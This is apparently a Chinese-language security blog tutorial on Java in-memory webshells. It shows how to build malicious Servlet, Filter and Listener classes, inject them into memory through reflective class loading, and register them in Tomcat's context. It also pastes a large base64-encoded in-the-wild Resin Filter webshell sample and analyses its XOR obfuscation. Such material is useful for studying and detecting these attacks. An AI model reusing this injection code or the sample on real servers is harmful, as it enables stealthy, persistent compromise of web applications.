内存马浅析

之前在jianshu上写了很多博客，但是安全相关的最近很多都被锁了。所以准备陆陆续续转到csdn来。内存马前几年一直是个很热门的漏洞攻击手段，因为相对于落地的木马，无文件攻击的内存马隐蔽性、持久性更强，适用的漏洞场景也更多。

Java内存马

最早的内存马是针对于Java的。常见的中间件无论Tomcat、Weblogic、Jboss、Jetty、Resin还是TongWeb都是Java Web容器，它们是遵循Java EE（现为 Jakarta EE）规范的服务器环境，专门用于运行Java Web应用程序。遵循Java EE规范的包含三大组件：Servlet、Filter（过滤器）、Listener（监听器）。简单来说就是一般用Java语言开发的Web应用程序都运行在Java Web容器上，而容器本身包含这三大组件。

由于三大组件是Java Web容器内置的，如果它们具有恶意的代码就和木马有着同样的作用。远程访问木马往往需要能执行各类的操作，例如打开文件、删除数据等。所以恶意代码中就需要包含能执行操作系统命令的功能。当Java Web容器启动时，Java Web容器会加载Servlet实现类到JVM中，即存在于内存中。恶意代码在jsp中的就叫做jsp木马，而存在于内存中的就叫做内存马。

如何制作内存马

那么内存马攻击的流程就是将制作的恶意Servlet、Filter或Servlet注入到内存中，然后模拟Java Web容器对它的加载过程。核心就是三步：（1）制作恶意的Listener、Filter或Servlet （2）注入到内存（3）根据不同的Java Web容器对三者的加载进行模拟。

步骤1——制作恶意的Listener、Filter或Servlet
也就是新建一个类实现Listener、Filter或Servlet接口，重写其中的方法。这里需要注意的是Listener。Servlet的作用域包括：`ServletContext、HttpSession、HttpServletRequest`，对Http请求进行监听是更为通用的做法，也就是选取`HttpServletRequest`对应的监听器更容易利用，即`ServletRequestListener`接口。

public class MyListener implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {// 恶意代码}   
}public class MyFilter implements Filter {@Overridepublic void init(FilterConfig filterConfig) throws ServletException {}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException, IOException {// 恶意代码}@Overridepublic void destroy() {}
}public class MyServlet extends HttpServlet {public void init(ServletConfig servletConfig) throws ServletException {}public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {// 恶意代码}public void destroy() {}
}

步骤2——注入到内存
制作完上述的恶意Listener、Filter、Servlet实现类后，需要注入到内存中，通过类加载器进行。因为目标系统中并不存在这些实现类，所以没法new，那么就通过先将类转换成base64字符串，然后在注入内存前转换成class，来解决这个问题。

ClassLoader classLoader=Thread.currentThread().getContextClassLoader();
String ServletBase64="yv66vg..." // Listener/Filter/Servlet类的base64字符串;
byte[] ServletClass = new BASE64Decoder().decodeBuffer(ServletBase64);
Method defineClass1 = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass1.setAccessible(true);
Class servletClass = (Class) defineClass1.invoke(classLoader, ServletClass, 0, ServletClass.length);
Object servletObject=servletClass.newInstance();

步骤3——根据不同的中间件对三者的加载进行模拟
这一步是最难的。不同的中间件加载方式不同。中间件在初始化的过程中对web.xml中的内容进行解析，然后加载到`Context`这个共享变量空间去。这样全局都可以使用这些变量。不同的中间件对`Context`的实现类不同。例如，Tomcat对其的实现类叫做`StandardContext`，Weblogic对其的实现类叫`WebAppServletContext`...
（1）web.xml
web.xml也是Java Web规范，各类中间件通用，写法如下：

 <servlet><servlet-name>MyServlet</servlet-name><servlet-class>com.axisx.MyServlet</servlet-class></servlet><servlet-mapping><servlet-name>MyServlet</servlet-name><url-pattern>/servlet</url-pattern></servlet-mapping><filter><filter-name>MyFilter</filter-name><filter-class>com.axisx.MyFilter</filter-class></filter><filter-mapping><filter-name>MyFilter</filter-name><url-pattern>/filter</url-pattern> //当访问`/filter`路由时会先被MyFilter拦截，调用MyFilter类的doFilter方法</filter-mapping><listener><listener-class>com.axisx.MyListener</listener-class></listener>

上面提到Tomcat的共享变量空间叫做StandardContext，这个空间中要将三大组件加载进来从而全局可用。以Filter为例，看一下它的加载方法。

private Dynamic addFilter(String filterName, String filterClass, Filter filter) throws IllegalStateException {//FilterDef：Filter定义的表示，代表<filter>标签中的内容FilterDef filterDef = this.context.findFilterDef(filterName); if (filterDef == null) {filterDef = new FilterDef();filterDef.setFilterName(filterName); //对应<filter-name>//StandardContext.addFilterDefthis.context.addFilterDef(filterDef); } ..if (filter == null) {filterDef.setFilterClass(filterClass);} else {filterDef.setFilterClass(filter.getClass().getName());filterDef.setFilter(filter); // 对应<filter-class>}
}public boolean filterStart() {Iterator i$ = this.filterDefs.entrySet().iterator();while(i$.hasNext()) {ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue()); //将步骤a中的FilterDef放进来this.filterConfigs.put(name, filterConfig);  //将filterDef放入AppllicationFilterConfig.filterConfigs}
}public void addFilterMaps(FilterMaps filterMaps) {for(i$ = 0; i$ < len$; ++i$) {urlPattern = arr$[i$];fmap = new FilterMap(); //对应<filter-mapping>fmap.setFilterName(filterMaps.getFilterName()); //对应子标签<filter-name>fmap.setURLPattern(urlPattern); //对应子标签<url-patternfmap.setDispatcherTypes(filterMaps.getDispatcherTypes());this.addFilterMap(fmap);}
}

模拟加载过程，就是仿照上述代码对恶意Filter进行加载。

// 1 实现恶意Filter
Filter filter = new Filter() {. // init() 、 doFilter() 、 destory()方法重写
};// 2 定义FilterDef
String name="MyFilter";
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());// 3 创建ApplicationFilterConfig，FilterDef放入FilterConfig中
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);// 4 定义FilterMap
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);// 5 将filterConfig添加到filterConfigs、filterMap添加到filterMaps
filterConfigs.put(name,filterConfig);
standardContext.addFilterMap(filterMap);

但是为了保证通用性，上述代码需要全部用反射来改写。

如何获取Context

第三步中我们默认已经获取了Tomcat的StandardContext。但在实际应用的时候，Context也是需要手动获取的。但是每个中间件对于Context的实现类是全局唯一的，不能new。如何获取呢？

a. 通过request对象，但是有时候页面中获取不到request对象。

request.getSession().getServletContext();
request.getServletContext(); // Tomcat7及以上

b. 通过类加载器，找到Context对应的类加载器

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); // 获取当前线程上下文类加载器ParallelWebappClassLoader，是webappClassLoaderBase的子类
StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

c. 通过Java特性，例如MBean。Tomcat获取MBean可以看之前的文章：Tomcat获取MBean - 简书
这里补充一下Weblogic获取MBean。Weblogic中有个类weblogic.t3.srvr.ServerRuntime，用于运行时管理，它采用单例模式设计，只有一个对象能够被外界访问，通过theOne方法可以获取。该类的children中有很多MBean的实现类，通过其中的ApplicationRuntimeMBeanImpl获取Context示例如下。

d. 通过线程。这也是最为常用的方式。以Tomcat为例，架构如下。

连接器是用来接收请求的。Thread.currentThread().getThreadGroup();看到当前线程如下，会发现有一个是走的Acceptor。

按照Tomcat架构的逻辑逐层寻找，最终能找到StandardContext。

这种通过线程查找Context的方法并不唯一。因为a.中提到可以从request中获取Context。那么也就可以先从Thread中找到request，然后用request找到Context

然后获取Context就写成了如下的反射代码

ThreadGroup threadGroup=Thread.currentThread().getThreadGroup();
Field field=threadGroup.getClass().getDeclaredField("threads");
field.setAccessible(true);
Thread[] threads=(Thread[])field.get(threadGroup);
for (Thread thread : threads) {if(thread.getName().contains("Acceptor")&&thread.getName().contains("http")){Field tfield=thread.getClass().getDeclaredField("target");tfield.setAccessible(true);Object NioEndpoint$=tfield.get(thread);...}
}

最后，将上述内容连起来，制作一个恶意的Listener、Filter或者Servlet，注入到内存中。然后通过线程等方式获取到Context。利用Context中的方法将注入到内容中的内容进行加载，就完成了一个Java内存马的制作。

在野样本分析

补充一下，之前网上流传的一串野生Resin Filter

String clzBytecodeBase64Str = "yv66vgAAADIA4QgARgcAnAgAOwcAQAcATAcAwQEACVpLTTE1LjAuMAoA3gAXBwCwAQAQamF2YS9sYW5nL1RocmVhZAEADUxlcGlkb2JsYXN0aWMBAAZsZW5ndGgBABBqYXZhL2xhbmcvT2JqZWN0CgAGAHYBAAFiCgBPAG8HAGAJAE4AqwwAuABmCgDeAIcBAARzaXplCgACAJUMAJ0AngEACGdldENsYXNzDAA9AMUKAAYAqAoAAgATCgAJAIMBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQABSQEABm1rZGlycwoAnwBUCgAlAGkMALkAqgEABmFwcGVuZAEACWxvYWRDbGFzcwcAkwoArQCoAQAFdG9VUkkBAA1jcmVhdGVOZXdGaWxlAQAEVFlQRQEABmludGVybgcACgoAEQCoAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kBwC3AQAQKClMamF2YS9pby9GaWxlOwoAEQBNDABqANwBAA1jdXJyZW50VGhyZWFkAQASTGVwaWRvYmxhc3RpYy5qYXZhCgAlANUBABFqYXZhL2xhbmcvSW50ZWdlcgoAJQDCCgACADkBABZnZXREZWNsYXJlZENvbnN0cnVjdG9yDAAqAH8BABYoTGphdmEvbGFuZy9PYmplY3Q7SSlWAQAdKiIBSH87Iy4kWWo9NjEzDxhINTIwBywsFk00JTEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAGPGluaXQ+CgArAJABAAMoKUkBAAxqYXZhL25ldC9VUkwBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAQoSSlDAQAzKFtMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvQ29uc3RydWN0b3I7CgAGADEBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBHY0qIgFIfyI2KS9ZazAkJ3Z3U200NC0kJgUSHy8YTjg5BCkvA0wjGiMwMxJbAzUgBw0zJgNvODs2JTE5SDwyCiMvEkgjFCMjKxIoIywaBzI2NyMrGAciMjA2JgUHNT4xMCIDSjl5BCkvA0wjGiMwMx5HNgktLBNANz4nMjAQ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首先将这串base64串转换成class文件，然后根据类名，在IDEA中粘成一个新的java文件，更改java文件中的报错（有一行return报错），分析一下代码结构，由于采用的是Java label跳出循环的方式，那么此处改为break label174。这样java文件不再报错，可以正常执行。

具体看一下样本，laabel169代表的循环，将截取后的字符串转成数组，将数组的每一位和长度为7的key进行异或。var72是异或后得到的字符串。即将截取的*"H"6)/Yk0$'vwSm44-$&转换成java.util.Base64$Decoder。关于异或加密XOR的内容可以看：http://www.ruanyifeng.com/blog/2017/05/xor.html

switch会判断字符串是否完成全部的遍历，如果完成全部的遍历，开始Filter的反射加载流程。

Java内存马自动化生成工具可以用：https://github.com/pen4uin/java-memshell-generator

Agent内存马

Java Agent 是一种在 JVM 启动时或运行时动态加载的工具，允许开发者在不修改源代码的情况下，对 Java 应用程序的字节码进行操作。Java Agent 通常在应用启动时通过命令行参数指定，或在运行时动态加载。Java Agent的核心是Instrumentation，它是Java提供的接口（从Java SE 5开始引入），允许代理程序（Agent）在类加载时或运行时修改、监控、或者增强字节码。

java.lang.instrument包结构如下

java.lang.instrument- ClassDefinition- ClassFileTransformer- IllegalClassFormatException- Instrumentation- UnmodifiableClassException

Agent 加载方式
Agent的加载可以是在JVM启动的时候，也可以是运行的时候。两种方法入口函数不同。

// 启动时加载
public static void premain(String agentArgs, Instrumentation inst);
public static void premain(String agentArgs);
// 运行时加载
public static void agentmain(String agentArgs, Instrumentation inst);
public static void agentmain(String agentArgs);

无论是这两种哪个Agent，都需要打成一个jar包，在ManiFest属性中指定Premain-Class或者Agent-Class。打成jar包后需要挂在到目标JVM上，如果是启动时加载就是-javaagent:[=]，如果是运行时挂载，就需要做一些额外的开发。

而 Instrumentation 则通过 premain 或 agentmain方法将要修改的字节码传递给代理程序Agent。

既然可以动态的修改某一个类的代码，那么对于Tomcat这些中间件应该改什么类呢？网上流传的是internalDoFilter，但是它是tomcat中的类，只适用于tomcat。后来冰蝎内置的内存马是写在了HttpServlet的service方法中，由于是JavaEE规范，相对来讲，能适用于更多的中间件。对应的Agent代码如下

import java.lang.instrument.*;
import javassist.*;
import java.io.IOException;
